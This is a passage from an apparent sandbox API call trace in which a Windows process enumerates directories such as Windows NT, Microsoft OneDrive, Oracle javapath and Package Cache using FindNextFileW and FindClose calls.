ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0282.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.454] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0282.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.455] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0282.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.455] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0282.455] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.455] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0282.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.455] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0282.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.455] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0282.456] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0282.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.456] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0282.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.456] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0282.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.456] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0282.456] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0282.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.456] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0282.457] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0282.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.458] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0282.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.459] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup", cAlternateFileName="")) returned 0 [0282.459] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0282.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.460] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0282.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.461] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0282.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.461] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0282.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.462] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0282.462] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.462] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Java", cAlternateFileName="")) returned 0 [0282.462] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0282.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.463] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0282.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.467] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.467] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.467] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.467] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0282.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.467] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0282.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.467] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0282.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.469] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.469] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0282.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.470] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.470] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0282.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.470] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0282.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.470] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0282.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.471] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.471] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.471] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.471] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.473] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0282.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.474] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.474] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.474] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.474] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0282.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.476] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0282.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.477] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.478] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.478] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.478] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0282.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.479] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0282.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.656] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, 